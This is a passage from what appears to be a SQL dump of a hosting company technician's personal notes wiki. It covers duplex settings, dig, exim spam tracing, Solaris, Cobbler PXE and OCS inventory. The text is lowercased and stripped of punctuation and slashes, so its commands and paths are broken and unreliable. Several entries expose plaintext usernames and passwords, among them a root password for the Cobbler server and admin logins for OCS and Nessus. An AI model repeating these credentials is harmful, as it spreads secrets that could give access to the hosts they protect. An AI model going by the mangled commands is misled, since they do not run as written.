'),(188,'network negotiation issues',' verifying switch settings it is usually a good idea to verify the switch port configuration when trouble shooting speed duplex issues it is better to do this early in the process rather than later just go to tech center put in the ip and click view switchport configuration most but not all switches support this speed duplex settings speed duplex settings speed duplex settings to permanently set the speed and duplex you can pass the ethtool options in the interface config file centos suse or make an init script to issue the needed mii-tool or ethtool commands ubuntu - but see below if you go this route you can also add an mii-tool command to rc local on centos but this will not work on suse as there is no rc local by default and though you can make one it is far easier to just pass the options in the interface file centos suse ethtool_opts speed 100 duplex full autoneg off ubuntu you can make a script that uses mii-tool commands and set it to run on start up or you can use this site to make an init script that runs at boot and uses ethtool  it won\'t work   sometimes if a port is manually set to 100mb-fd on the switch you may have difficulty getting the server to come up at the same duplex no matter what ethtool or mii-tool commands you use it won\'t work in that case it may be necessary to use the -a option with mii-tool to first set the advertised capabilities of the nic then use the -f option to manually set the speed duplex #mii-tool -rr #mii-tool -a 100basetx-fd #mii-tool -f 100basetx-fd eth0 if you make this into a script make sure you use sleep 5 after the first two lines or the interface will not be ready to receive the next command and it will have not effect '),(189,'o3spaces collaboration suite',' where to go where to go where to go just point your browser to log in with loginname spcstudent password spcstud3nt this will log you into the web interface from here you can go to different workspaces each workspace is for a separate project and you have to be a member of the workspace to collaborate from here you can download documents to view them and take part in the discussion if you want to change documents you will need to download and the workspace assistant and install it workspace assistant workspace assistant workspace assistant the workspace assistant integrates with open office and microsoft office to make sharing documents with o3spaces easy you install the assistant by logging into the o3spaces server and clicking just to the left of the workplace assistant is offline in the upper right hand corner of the screen you must have the java runtime environment installed and java must be enabled in your browser if you do an installer will run and set up the assistant on your computer be patient it takes a few minutes to download and start the installer you will then have workplace assistant icon in your taskbar make sure that you are signed in and the icon in the task bar is blue and workspace assistant is online is displayed at the top of the page otherwise you will not be able to save your changes to documents now click on the o3spaces icon in your task bar select configuration and then install plug in to configure ms office or open office to work fully with o3spaces you must do this last step for everything to work correctly  linux notes  despite having jre and the firefox java plug java-1_6_0-sun-plugin or equivalent installed i had to goto the tmp directory and make the assistant jnlp executable and then as root manually run it with callandor home paracelsus# javaws tmp assistant jnlp i found i had not trouble running jnlp files in general however i could not run workspace assistant for some reason if you want to test if java web start works in general try a site that has a jnlp file as a test such as editing documents editing documents editing documents you can simply click on a document in the workspace and open it when you are ready to save it just click on save in the file menu and it will synchronize the changes you made to the version in the workspace then make sure you close the document completely or it will still be checked out to you once you fully close it the revision number will increase in the workspace and other will be able to check it out to edit it note you have to be signed into the workspace assistant for this to work and you should see a workspace menu in word etc sites sites sites '),(190,'site redirection',' site redirection there are several ways to forward an entire site or a single page to another site here are several methods you can use you also might want to verify what is really going one with the redirect by using the live http headers plug in for firefox this way you can monitor what the browser asks for what what it actually gets back you then then tell if a 301 redirect is being used etc   htaccess  move a single page redirect 301 oldpage html move an entire site redirect 301 redirect non-www to www sites options followsymlinks rewriteengine on rewritecond http_host yoursite com nc rewriterule 1 l r 301 several more examples are at the above link  html meta tag redirection  this is not the best route to take but it will work use and htaccess if you can  php  header location ; used as an index php file etc  cpanel  you can set up forward domains in cpanel however i have found they sometime just don\'t really work also this only works for a single ip and usually you are not lucky enough to have the site you want to move be on that ip - of course  dns  you can set up dns with cname records and define sub domains and also redirect a site to another dns server completely however this is a bit more difficult to set up '),(191,'xwindows tricks',' monitor suspend modes monitor suspend modes monitor suspend modes to have your monitor go into suspend mode try these verify your x config etc x11 xorg conf perhaps contains dpms options in the monitor sections for example option dpms option standby time 20 option suspend time 30 try to suspend the monitor from the command line callandor # xset dpms force off callandor # xset dpms force suspend verify if acpi is enabled callandor # powersave -s no acpi apm support these sites have additional tricks to try messaging messaging messaging using zenity via ssh display 0; export display zenity --warning --text oh my god '),(192,'dns domain name service troubleshooting',' ptr records these allow you to do a reverse dns lookup given the ip address you can determine a hostname dig -x 66 118 149 130 or for the short answer and by asking a specified name server archimedes anduril dig short -x 66 118 149 130 ns00 tpa sagonet net timelordz com other record types other record types other record types to get information on a particular type of record you can use dig timelordz com mx or host -t mx timelordz com you can also specify which server to query specifically host -t mx timelordz com 66 118 170 2 or dig 66 118 170 2 timelordz com mx dig trace dig trace dig trace adding this option is somewhat like a traceroute for dns it will show the hierarchy of nameservers queried and their responses from the root nameservers to the authoritative ones for that domain dig trace timelordz com the final answer in this output shows that actual authoritative nameservers who are answering for this domain in this case timelordz com 86400 in a 66 118 149 130 timelordz com 86400 in ns ns1 timelordz com timelordz com 86400 in ns ns2 timelordz com ;; received 115 bytes from 66 118 149 130#53 ns1 timelordz com in 4 ms tricks tricks tricks lets say you want to know if a name server already has a cached record for a domain if you ask it and it does not know it will ask the authoritative server get the answer put it in its cache and then answer you - thus you will not know if it already had it or if it just found out in this case you can query it using dig 66 118 149 130 www cnn com norecurse if it does not have an rr it will not respond with an answer section it will not ask other name servers if it already has one in the cache it will provide an answer section  feeding dig a list  # use a list of hostnames with consolidated output dig -f path to host-list txt noall answer dns reports here are some sites where you can reports about how your dns is configured this one is free additional references on dig and dns additional references on dig and dns additional references on dig and dns '),(193,'tracking down spammers',' outgoing spam  exim logs with full paths  finding the source of outgoing spam can be a serious pain in the but recently i found this excellent article however that gave some very good suggestions it is well worth reading one particularly useful hint was to add this option to you exim conf you can do this right in whm in whm exim configuration editor switch to advanced mode in the first textbox add the following line and then save log_selector arguments subject add this in the text entry box in whm and click save at the very bottom of that config screen exim will not log the directory from which the script ran which generated the mail whoo friggen hoo sample root dzgns # tail -f var log exim_mainlog vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv 2009-02-11 13 27 18 cwd home suprenm public_html renhelpdesk admin 3 args usr sbin sendmail -t -i 2009-02-11 13 27 18 1lxkki-0000no-5p nobody dzgns e-luminating com u nobody p local s 750 t you have been assigned the ticket # ts00001039 2009-02-11 13 27 18 cwd var spool exim 3 args usr sbin exim -mc 1lxkki-0000no-5p 2009-02-11 13 27 19 1lxkki-0000no-5p dcowan g7solutions com r lookuphost t remote_smtp h mail webinmotion com 69 94 234 142 x tlsv1 aes256-sha 256 2009-02-11 13 27 19 1lxkki-0000no-5p completed  exim log files  you can find more info on exim logs at the official site here also see the pdf file in the section on exim and whm below exim queue commands exim queue commands exim queue commands list messages in the current exim queue with root dzgns # exim -bp 4d 1 3k 1lw3zy-0001cw-2k nobody support urbanthreads com d nsnyder e-luminating com to do the same with sendmail use #qmail -bp or #mailq you can now track down the messages themselves somewhere like root dzgns # grep -r 1lx7tc-000070-er var spool exim input root dzgns # grep -r 1lx7tc-000070-er var spool exim input var spool exim input c 1lx7tc-000070-er-d 1lx7tc-000070-er-d var spool exim input c 1lx7tc-000070-er-h 1lx7tc-000070-er-h var spool exim input c 1lx7tc-000070-er-h id 1lx7tc-000070-er; tue 10 feb 2009 23 43 38 -0600 var spool exim input c 1lx7tc-000070-er-h 055i message-id root dzgns # ls var spool exim input the above shows grepping for the message id the separate files are for the headers and the message content itself d data h header you can cat these and find the juicy spam also see the exigrep command which allows for easy searching of strings in exim logs usage exigrep -i -l -t -v sendmail may use something like var spool mqueue but is otherwise the same you will find the data and headers there whm and exim whm and exim whm and exim a very helpful pdf created by cpanel on exim and spam fighting techniques covering exim queue commands exigrep exmin log and log levels and how mail deliver assp domain keys and spf function can be found here a general whm mail faq with all kinds of things can be found here one thing of interest is boxtrapper which can be configured under mail in each user user\'s cpanel account this allows them to set up an email verification whitelist to help eliminate spam you can find more info on configuring boxtrapper here phpsuexec phpsuexec phpsuexec having phpsuexec enabled is also extremely useful as it will then tell you the user account sending the mail this of course is configured on a wmh box by compiling it in as an option in the apache php build wizard or through running scripts easyapache qmail qmail qmail additional info for tracking down spammers on qmail '),(194,'solaris tips',' good sites here is a pretty good opensolaris guide with a variety of tip finding & mounting disk partitions finding & mounting disk partitions finding & mounting disk partitions fdisk -l does not work in solaris so to collect information on partitions try these tools #df -kh to show mounted file systems and #format 0 p p to display partition information on physical drives will not work on sd cards  prtconf  you can also grep prtconf and look for the device names each block device is associated with for example bash-3 2# prtconf -v ggrep -a 20 sd value \'sdhc memory card\' dev_path pci 0 0 pci8086 27d6 1c 3 pci1025 15b 0 2 sdcard 0 disk 0 0 a sectype blk type minor dev_link dev dsk c5t0d0s0 dev_link dev hotpluggable dsk c5t0d0s0 dev_link dev removable-media dsk c5t0d0s0 dev_link dev sd40a you can use any of the device link names to reference the device knowing this you can then use prtpart see section on ext3 for installing to get specifics on the device partitions note the ending s0 becomes p0 when using prtpart  prtpart  bash-3 2# prtpart dev dsk c5t0d0s0 the device name must end with pn where n is the partition number bash-3 2# prtpart dev dsk c5t0d0p0 fdisk information for device dev dsk c5t0d0p0 block size 512 bytes controller sdcard disk sd capacity 15 gb # start block # nblocks startcylsechd endcylsechd ostype 1 0000000063 0030668022 0 1 1 ff ff fe linux native 2 0030668085 0001429785 ff ff fe ff ff fe dos extended # start block # nblocks startcylsechd endcylsechd ostype 5 0000000063 0001429722 ff ff fe ff ff fe linux swap bash-3 2# prtpart dev dsk c5t0d0p0 -ldevs fdisk information for device dev dsk c5t0d0p0 note dev dsk c5t0d0p0 - physical device referring to entire physical disk dev dsk c5t0d0p1 - p4 - physical devices referring to the 4 primary partitions dev dsk c5t0d0p5 - virtual devices referring to logical partitions virtual device names can be used to access ext2 and ntfs on logical partitions dev dsk c5t0d0p1 linux native dev dsk c5t0d0p2 dos extended dev dsk c5t0d0p5 linux swap we can see now that dev dsk c5t0d0p1 is the partition to mount so let let\'s do it with bash-3 2# mount -f ext2fs dev removable-media dsk c5t0d0p1 mnt to mount a fat partition you would use bash-3 2# mount -f pcfs dev dsk c4t0d0p1 mnt show block devices show block devices show block devices #iostat -e this should show hard drives cd roms ssd drives and sd cards to get verbose information on all devices you can use the following which is similar to dmidecode in linux and grep for what you need to see your sd sdhc cards #prtconf -v ggrep -a 20 sd this will show the device names associated to each block device for example output might to similar to here you can see my sdhc card is associated with the device names and can be mounted using any of them ext3 ntfs support ext3 ntfs support ext3 ntfs support these are not supported natively you will need to install two packages in order to have read only access i do not yet know if rw access is possible but at least this will allow you to mount and view these file system types see the misc downloads section you need to download and install fswpart tar gz x86 partition table viewer fswfsmisc tar gz packages for ntfs and ext 2 3 read-only support download gunzip untar then add with pkgadd -d fswpart or move to var spool pkg and run pkgadd fswpart etc for more information on using these packages to mount ext2 3 file systems see zfs tools zfs tools zfs tools zfs admin guide is helpful in the following example a snapshot of tank home ahrens that is named friday is created # zfs snapshot tank home ahrens friday snapshots # zfs destroy tank home ahrens friday # ls home ahrens zfs snapshot tuesday wednesday thursday you can list snapshots as follows # zfs list -t snapshot environment fixes environment fixes environment fixes  arrow backspace keys  fix the issue with arrow and backspace keys not working in vim install vim opt csw bin pkgutil -i vim create a vimrc file with filetype plugin on filetype indent on syntax on set bs 2  have colored output in ls   install the fileutils package opt csw bin pkgutil -i fileutils then set an alias in your bashrc alias ls \' opt csw bin gls --color auto\' you can set the colors and get much fancier by following the advice http blogs sun com observatory entry ls_colors here xorg config xorg config xorg config solaris generates a xorg conf dynamically at boot time if you want to created or edit one yourself you may need to run as root usr x11 bin xorg -configure for more information see this forum post package management package management package management ips is the new packaging system you can find documentation for it here here is a good summary of apt-commands and their solaris ips equivalents pkgutil from blastwave handles dependencies and is a replacement for pkgadd if you must use pkgadd here are some tips example of pkgadd commands installing vim with pkgadd yuck usr sfw bin wget or wget gunzip vim-7 2-sol10-sparc-local pkgadd -d vim-7 2-sol10-sparc-local root unknown var spool pkg pkginfo grep vim application smcvim vim root unknown var spool pkg pkgchk -v smcvim '),(195,'cobbler pxe install manager',' cobbler pxe environment cobbler is pxe install manager similar to the system we have been using here at sago however it includes additional features and greatly simplifies the management of the pxe environment the intention is to test this fully to determine if it can be used as a complete replacement solution for our existing pxe system one of the greatest features is a web gui interface for managing kickstart files and the ability to very easily import any new distro either from a mirror or a cd you can also make pxe bootable environments from live cds infrastructure infrastructure infrastructure the existing install-gw tpa sagonet net remains where it is with almost zero changes this remains the dhcp server for the install subnet a separate server provides the cobbler services cobbler sagonet com on the install network and has an ip of 192 168 42 100 moving between the two environments requires only changing the next-server argument in the dhcpd conf on install-gw tpa sagonet net visit to choose the install environment you wish you use it it\'s that simple to switch back and forth so the boot process is simple client gets a dhcp ip from install-gw tpa sagonet net the dhcp lease points the client either to install-gw tpa sagonet net or to cobbler sagonet com the client pxe boot the environment from which ever server dhcp points to please see pxe explanation for more details on how our pxe network works cobbler interface cobbler interface cobbler interface log on to for the web gui username sagotech password s4g0c0bbl3r if anthn_testing is set in etc cobbler modules conf then username testing password testing cobbler server itself cobbler sagonet com user sagotech password s4g0cobbl3r user root password c0bbl3r4m3 command line tools command line tools command line tools  to install the latest pxe install version of centos  this is extremely simple - just wget the correct kernel and initrd from any mirror into the proper tftpboot directory and import into cobbler note you can navigate in the mirror to the i386 or x86_64 paths for 32 or 64 bit versions note that the kernel and initrd from the pxeboot directory of distros are  different  than the initrd of the full install - you need to ensure you get the correct one which can be sometimes tricky to figure out you may also have to modify the initrd for some distros to add drivers to them - for example see debian broadcom nic drivers cd tftpboot #note there are separate directories for each distro cd centos wget wget cobbler distro add --name centos53 --kernel tftpboot centos c53-r2 vmlinuz --initrd tftpboot centos c53-r2 initrd img cobbler sync you will now see the distro show up in cobbler but it will not be in the pxe menu until you create a profile in the webui using this distro  to install the latest 64 bit pxe install version of a distro  same basic procedure as above - grab the 64 bit vmlinuz and initrd from a repo etc here is an example of the link to the 64 bit kernel and initrd for fc10 extra step for 64 bit oses make certain the kickstart line in the cobbler profile has the 64 bit flag set so that the kickstart points to the install repo for the correct architecture for fc10 above the 64 bit ks line would be  where are the older versions of centos   when a new version come out you have to go to the vault site to find previous releases this is where you will find the vmlinuz and initrd for older versions for example  where to get debian  see http www debian-administration org articles 478 this article which gives the location such as  how about ubuntu   you can also use an ftp command like lftp -c mirror for ubuntu server you have to download and mount the iso then copy the kernel and initrd from the netinstall folder wget or maybe cp mnt install netboot ubuntu-installer i386 linux tftpboot where-ever  i want to deploy a binary blob like memtest86   cobbler image add --name foo --file path to memtest86 --image-type direct cobbler sync  import a distribution mirror   cobbler import --mirror rsync rsync gtlib gatech edu centos 4 5 os i386 --name centos-4 5-i386 cobbler sync  import a distribution dvd   note we usually don\'t need to import a while dvd use a reference to an on-line mirror instead it saves space and will always be updated the only time you should need this is when on line mirrors are not available mount the media cobbler import --mirror media dvd --name fedora9 cobbler sync note that you can also import a distribution using a mounted dvd image or iso if you have one available or use rsync as --mirror user host path to copy content from an internal server if you already have an install tree mirrored what if you already know what software and configuration a particular system should receive run the following command to map a particular machine to the profile that should be installed on it substituting aa bb cc dd ee ff for the mac address of the system cobbler system add u8e28093name aa bb cc dd ee ff u8e28093profile rhel5-i386 pxe menus pxe menus pxe menus cobbler will automatically generate pxe menus for all profiles it has defined running cobbler sync is required to generate and update these menus troubleshooting troubleshooting troubleshooting #cobbler won\'t start ## if you are seeing something like this root cobbler # etc init d cobblerd start starting cobbler daemon traceback most recent call last file usr bin cobblerd line 32 in api bootapi bootapi file usr lib python2 4 site-packages cobbler api py line 90 in __init__ self deserialize it most likely means that a recently added config file from a distro or more likely a profile has incorrectly formatted data in it edit or remove the offending file form here is another example helping to zero in on the offending file root cobbler # cobbler profile list missing \'-\' for seq near line 7 init rc root cobbler tftpboot # cat var lib cobbler config profiles d dban --- depth 1 dhcp_tag default distro dban kernel_options --method init rc so we can see it is choking when parsing the contents \' rc\' on line 7 from var lib cobbler config profiles d dban you have to sometime manually edit these autogenerated config file note well the yaml interpreter that parses these is very unforgiving - a trailing space etc will error the error message will usually point you in the right direction if this case the file was manually edited to read kernel_options root dev ram0 init rc nuke dwipe --method quick this same should apply to any distro or profile where you have to specify boot or ks options ref pxe server broken pxe server broken pxe server broken remember - you can always bypass the install server and still use our kickstart server sago centos mirrors etc in other words just because the install-gw cobbler is down you can still actually do centos installs how easy - just boot the server using a cd or dvd and and the boot prompt simply type linux ks substituting your values as needed in the ks string the meaning and use of this ks string was one of the things covered in the training covered on tuesday you can also do the same with debian and suse pointing them to our ks server - though it is a bit different the server that generates the actual ks file and the centos mirror server files are pulled from during install time are not the same box as the install-gw so you can bypass it as above you will need a cd to start with but you should be able to use a netinstall cd - not a full dvd as you only need the boot environment i suggest everyone always have a centos cd or dvd net install or otherwise instructions for doing a net install for suse are at opensuse 10 3 moral of the story if the install-gw is down you can still use our custom ks sever and do centos installs just as though you did them through pxe the end result is identical make your own kickstarts make your own kickstarts make your own kickstarts  red hat  system-config-kickstart can help you generate a kickstart also look in root anaconda-ks cfg for the ks that was created at install time  debian  apt-get install debconf-utils debconf-get-selections --installer preseed cfg you can find more info on debian preeseeding http wiki debian org debianinstaller preseed here useful sites useful sites useful sites '),(196,'opensolaris indiana 2008 11 acer aspire one install',' innomat_solaris_180 right right  installing opensolaris on your acer aspire one in 10 or less steps  intro intro intro note please note this is my personal note book wiki and as such is closed to editing if you wish to leave feedback please see my blog at getting opensolaris 2008 11 running on your acer aspire is pretty cool solaris is a great os with many features that will entertain any linux geek for a while zfs & timeslider snapshots dtrace zones - it it\'s basically geek candy installing it is of moderate difficulty and the below guide might assist you please note that you can also download solaris express community edition sxce which has wifi and video working out of the box and uses a root zfs install however if you want to play around with ips i believe you will need to install 2008 11 - at least i was unable to get ips working in the current sxce builds also the sxce install is not very intuitive for those not already familiar with solaris package names but it does work well without a lot of additional steps required or install and test drive one and then the other if you like you may also find this post of interest if you want to install solaris on your ssd drive and then boot ubuntu from an sd card there are two install methods given below either will work remember even if you get x working and launched in the live cd you will just have to repeat the steps in the final installed system install will take 2 6gb instructions have been test on paracelsus callandor desktop ssh jack 192 168 2 53 password jack last login sat mar 7 08 10 20 2009 sun microsystems inc sunos 5 11 snv_101b november 2008 install from the live cd install from the live cd install from the live cd there are several things you need to do to install from the live cd first off when you boot x will not start correctly as it is missing the correct intel driver it is possible though to make a new xorg conf file edit the video driver to vesa and then start up gnome the following steps guide you through how to do this while not necessary i also include setting up ssh so you can connect from another computer should x hang etc note that you may find the alternate method remote install using ssh to actually be a lot simpler than this you will have to repeat these steps in the final install to get x working so you will do most of this twice if you want to skip getting x working for the install see the next section on x forwarding the installer gui 0 connect an ethernet cable to a dhcp enabled network 1 boot the live cd 2 respond to language language set up prompts 3 login as jack jack 4 become root su - pw opensolaris 5 if needed etc sshd config - enable root login and x forwarding x offset 6 enable ssh #svcadm enable sshd 7 #xorg -configure the above will generate xorg config new in current root directory 8 edit xorg config new changing intel to vesa for the driver 9 verify you have network ping something this way you can ssh in from another system if the x session hangs etc 10 ifconfig -a shows interfaces and your ip address 11 # usr x11 bin xinit usr bin dbus-launch gnome-session -- usr x11 bin xorg -config root xorg conf new 12 disable gnome screen saver in preferences once activated i could not log back in as root 13 navigate to desktop folder in jack jack\'s folder places -- computer 14 click the install opensolaris icon 15 the graphical installer will lead you through the partitioning and install process items marked are optional steps note you can not make customer partition changes in the installer such as resizing existing partitions etc if needed before you run the installer use gparted to set up the partitions how you like note solaris uses the same partition type as a linux swap partition thus if you use gparted and create a swap partition of the size you wish your solaris partition to be you will simply be able to select it as the target partition when you run the installer if you try to start x as user jack you might see ee gartinit unable to open dev agpgart resource temporarily unavailable ee intel 0 dri driscreeninit failed disabling dri ee intel 0 failed to allocate framebuffer is your videoram set too low ee intel 0 couldn\'t allocate video memory fatal server error addscreen screeninit failed for driver 0 xio fatal io error 146 connection refused on x server 0 0 after 0 requests 0 known processed with 0 events remaining the magic trick to get gnome started using vesa is well documented at stephen han han\'s blog sun guy which you can find here the following site was helpful in troubleshooting getting x running remote install using ssh remote install using ssh remote install using ssh  x forward the gui installer  this method allows you to perform the install remotely from another system by x forwarding the gui installer x forwarding is quite a handy tool and here is a perfect application for it the options presented are exactly the same has running the installer from gnome off the live cd so should you be unable to get x working for some reason and can\'t run the install from cd you can still use this method  on the aspire one   1 boot the livecd and login to the text console as user jack password jack 2 su - password opensolaris 3 dhcp is enabled by default verify your ipaddress by running ifconfig -a 4 enable ssh svcadm enable sshd  from another system on same network   note you can even do this from a windows pc by installing the xming xserver for windows and using an ssh client such as putty ensure putty has x forwarding enabled in the ssh options see the article ssh over x for more info 1 ssh as user jack password jack remember to specify -x to enable x forwarding in you ssh session for example ssh -x jack ipaddress 2 run xeyes to verify x forwarding is working 3 # usr bin pfexec usr bin gui-install you may now continue the installation as though running it from gnome on the live cd working x on the aspire is not required note you will have to follow the same basic steps in the install from live cd section once the install has completed to get x working on the new os the following link was helpful in the above procedure wireless drivers wireless drivers wireless drivers you will need to download and reinstall the wireless driver there is one already installed but it needs replaced you can remove the one installed first if you with with pkg uninstall sunwatheros though it is not necessary furthermore you  must  ensure the new driver gets attached correctly to the right pci bus device id address failing to due so will result in non functioning wireless  install driver  first download the driver from dave clack clack\'s excellent blog here and follow the instructions given to install it when you install it pay particular attention the the ending output and if you see the following you will need to take the additional steps below to attach it ## installing part 1 of 1 kernel drv amd64 ath kernel drv ath verifying class ## executing postinstall script devfsadm driver failed to attach ath warning driver ath successfully added to system but failed to attach installation of was successful root opensolaris export home vegablue desktop# note the output saying the ath driver failed to attach if that is the case continue with the below attaching the driver attaching the driver attaching the driver to attach the driver you need to locate the pci bus address of the device and reinstall the driver specifying that address you can use the device driver utility from gnome -- system tools or the following in the shell root opensolaris # usr x11 bin scanpci grep -b1 atheros 2921-pci bus 0x0003 cardnum 0x00 function 0x00 vendor 0x168c device 0x001c 2992 atheros communications inc ar242x 802 11abg wireless pci express adapter notice the vendor and device ids in the second line using  your  values execute the following commands as root #rem_drv ath #add_drv -i pci168c 1c ath #ifconfig ath0 plumb #ifconfig ath0 dhcp #svcadm restart nwam note you must restart nwam for the network management utility in gnome to pick up the wireless also ensure your wifi switch is on - the led will not work so you might need to slide it over if your wifi is being elusive screen shots and another example of attaching the driver can be found at step 9 of the above site which is a great how to on installing opensolaris on an intel mac by the way this post of dave clack clack\'s is doing the same as the above though just not as verbosely described this site is also helpful but don\'t get the driver from it use the link above and this site on using wificonfig is also handy '),(197,'innomat solaris 180',' '),(198,'solaris nevada 11 2008 acer aspire one install',' '),(199,'kdialog messages',' sudo -u conan kdialog --display 0 --msgbox howdy conan happy birthday hope you are havnig fun with linux and bombermaze - see you soon pete --title happy birthday xmessage -button ok -center file - happy birthday conan have fun with linux and bombermaze '),(200,'apache sudo commands',' add to etc sudoers the commands you wish apache to run for example apache all all nopasswd usr bin sudo usr bin pkill usr sbin dhcpd also ensure there is no line containing defaults requiretty if requiretty is enabled you will likely see the following errors logged by sudo #tail var log secure mar 26 09 58 16 install-gw usr bin sudo apache sorry you must have a tty to run sudo ; tty unknown ; pwd var www pxe ; user root ; command usr bin pkill dhcpd also ensure the binaries being called have permissions allowing others to execute them root install-gw pxe # ls -lha usr sbin dhcpd -rwxr-xr-x 1 root root 552k mar 12 09 33 usr sbin dhcpd '),(201,'vnstat bandwidth monitor',' '),(202,'network scanning tools',' nessus nessus nessus os identification nessus plugins are described at these plugins are installed by default under the general category server nocbox 65 110 52 190 port 1241 creds admin n3ssus m3 nmap nmap nmap good nmap basic tutorials '),(203,'exim troubleshooting',' flush the queue flush the queue flush the queue helpful exim commands #exim -bp #exim -q shows messages in the queue and their delivery status to force delivery of all messages in the queue #exim -q or you can attempt to force delivery of all frozen and non-frozen messages #exim -qff tracking down spam tracking down spam tracking down spam look at messages in the queue and see if they are spam etc looks at messages directly a trip down the exim manuals is in order to really explain all this once messages are frozen exim basically refuses to deliver them anymore when you do an \'exim -bp\' to list your queue note the long message id numbers and they can be examined by doing \'exim -mvb\' and \'exim -mvh\' to look at message body and header contents respectively i think \'exim -mrm\' will remove the message with these above exim commands you must include the message id after the message option  to delete frozen messages   if the message is frozen exim -bpru grep frozen awk \'print 3\' xargs exim -mrm if the message is exim -bpru grep \' \' awk \'print 3\' xargs exim -mrm if all exim -bpru awk \'print 3\' xargs exim -mrm  remove lock files for var spool exim db  you can remove these without removing the messages in the queue helpful exim links helpful exim links helpful exim links exim acl & tcpwrappers exim acl & tcpwrappers exim acl & tcpwrappers you might want to experiment with using tcpwrapers via etc hosts allow and set up an acl similar to for example exim local 192 168 0 friendly domain special host allow exim all deny this allows connections from local hosts chiefly localhost from the subnet 192 168 0 0 24 from all hosts in friendly domain and from a specific host called special host all other connections are denied if you have tcpwrappers set up to use two files use the following '),(204,'ocsng inventory management',' open computer and software inventory open source gpl v2 software with nix and windows inventory agents full web based management interface with advanced reporting capabilities mysql driven allows possibility to share system meta information with other mysql apps uber etc it also integrates with glpi an open source full asset tracking system with ticket tracking official site reviews ocs web management server ocs web management server ocs web management server user admin password s4g0syst3ms you can run all manner of reports here and search for systems by mac address manufacturer bios version etc you can run a report to see how many servers has less than x free drive space what dimm modules are installed installed applications etc very detailed reporting capabilities  admininfo  you can add custom fields to the ocs database through the ocs web interface the 7th yellow icon from the left in the upper right section of the screen looks like two pieces of paper is the admininfo icon here you can add customer fields that will apply to all hosts they can be of type text integer real and date these fields must be manually set up and the data entered here you can not tell the agent when it runs to populate them however once they are filled out the data in them is actually stored on the clients so if the database is lost the client when it checks in next will again populate this information back into the database any changes to the text file holding this information will be over written when the agent contacts the server the file holding this info on ubuntu is called ocsinv adm and is located at var lib ocsinventory-agent http __ocs sagonet com_ocsinventory ocsinv adm we could make fields here to hold information of projects server data testing info etc but remember any info placed here will be replicated onto the server so things like passwords etc are not a good idea even though the file is outside the web root etc agent client installation agent client installation agent client installation  linux   pxe installs you can now simply add ocs as the ending 10th argument in the pxe configuration string in cobbler hit tab to edit the boot line and modify the kickstart argument appending ocs this will automatically install the client version 0 9 2 from rpm and configure it to see the scripted actions go to and example ks file and look at the ocs section if using the old pxe system there is a menu option to install it which defaults to yes install it installer script scripted install for centos 3 4 5 and debian 4 5 can be found here just wget and run and it will completely install it on supported oses stop you should rarely have to install ocs manually - only on fedora or suse is this currently required if you do a pxe install of centos or debian read the above two methods  manual install  to install the client manually you can wget it from below and configure manually or easier snip out the code from the ks script and make it into a stand alone script which is the code below you can just run this but note it leaves the epel repository installed but disabled might want to uninstall it completely from customer boxes - just uninstall the epel-release rpm please see the section on linux agent configuration for more information full and complete install details are at but basically pxe rpm install method installs all perl dependencies from epel repository easy as pie echo -e installing ocs dev tty1 rpm -uvh yum -y install ocsinventory-agent echo -e ocsmode 0 cron etc sysconfig ocsinventory-agent echo -e ocsserver 0 ocs sagonet com etc sysconfig ocsinventory-agent echo -e ocstag 0 testing-pxe-install etc sysconfig ocsinventory-agent sed s enabled 1 enabled 0 etc yum repos d epel repo rm -y epel-release-5-3 noarch rpm or - el\' manual - you have to install all the perl mods yourself from rpms or cpan and build the agent ug wget ks sagonet com tools ocs ocsng_unix_agent-1 02 tar gz tar zxvf ocsng_unix_agent-1 02 tar gz cd ocsinventory-agent-1 0 1 perl makefile pl make make install sudo make install if ubuntu note you need some perl modules installed described at debian sudo apt-get install libxml-simple-perl libcompress-zlib-perl libnet-ip-perl libwww-perl libnet-ssleay-perl centos yum install perl-xml-simple perl-compress-zlib perl-net-ip perl-lwp perl-digest-md5 perl-net-ssleay suse zypper install perl-xml-simple perl-compress-zlib perl-net-ip perl-lwp perl-digest-md5 perl-net-ssleay when you run make install it will prompt you for configuration information everything is pretty obvious  for the ocs server use   ocs sagonet com no credentials  for administrative tag use   dedicated-pxe send an inventory at the end of the install if you get errors installing the client please send them to me - send the full output if possible and what os it was on etc  linux - scripted install   the on-line documentation for the agent references a no longer used setup sh script and the man page for the current agent does not talk about scripted installs but by merging the two sources i found that the following appears to run the agent set up non-interactively and i believe installs any needed perl dependencies and runs an update to the communication server callandor # ocsinventory-agent 1 -s ocs sagonet com follow up see the pxe ks script mentioned above for the sed actions you can take to modify the config file so as to have the proper values using this setup script is the way to go  linux agent configuration  note there are two current versions 0 9 2 and 1 02 and two formats of these versions yes confusing the rpm version are slightly different than the tar gz versions the rpm ones contains a config file in etc sysconfig ocsinventory-agent and also includes usr share doc ocsinventory-agent-1 0 1 readme rpm - both missing from the tar gz version it is advisable therefore to use the rpm versions both these versions are on the ks server and you can wget them as wget wget the developers personal repo for ocs packages is at  windows   super easy download the agent from run the installer ocs server address ocs sagonet com admin tag choose appropriate tag such as inventory dedicated-pxe etc note this runs as a service and is executed when the server reboots there is no splash screen or task bar icon it only appears in the service list and is set to run automatically works on vista there are more advanced options such as auto installing through active directory and creating packages to push out through the agent like a poor mans sms which are explained on the ocs wiki server installation requirements server installation requirements server installation requirements detailed install information is at and here is a great how to for centos installing the communication and management server is done by downloading the tar gz and running the install script the communication server runs as a perl module and itself depends on many other perl modules install the required mods and any needed dependencies - there are many using cpan or cpan2rpm thank god for cpan the following are required note you can actually just install most all these through yum see install link above ---------------------------------------------------------- checking for required perl modules ---------------------------------------------------------- checking for dbi perl module found that perl module dbi is available checking for apache dbi perl module error perl module apache dbi is not installed checking for dbd mysql perl module found that perl module dbd mysql is available checking for compress zlib perl module error perl module compress zlib is not installed checking for xml simple perl module error perl module xml simple is not installed checking for net ip perl module found that perl module net ip is available error there is one or more required perl modules missing on your computer please install missing perl modules first installation aborted server troubleshooting server troubleshooting server troubleshooting if the agent reports this callandor # ocsinventory-agent -t testing -s ocs sagonet com error cannot establish communication 500 internal server error and you see this error in the apache log thu may 07 15 00 45 2009 error client 66 118 170 66 can\'t call method rollback on an undefined value at usr lib perl5 site_perl 5 8 8 apache ocsinventory server system pm line 261 n it most likely mean a database user or password misconfiguration in one of these two files verify both and restart apache and verify you can connect as that user to mysql root alfresco ocsreports # vim etc httpd conf d z-ocsinventory-server conf root alfresco ocsreports # vim usr share ocsinventory-reports ocsreports dbconfig inc php '),(205,'bash scripts',' here are some bash scripts i wrote to make life easier # bin bash # # this is used to set permissions on cpanel accounts correctly this was from # ticket ticket #162225 - server problem for oulanka network # # this was the test template on one accout 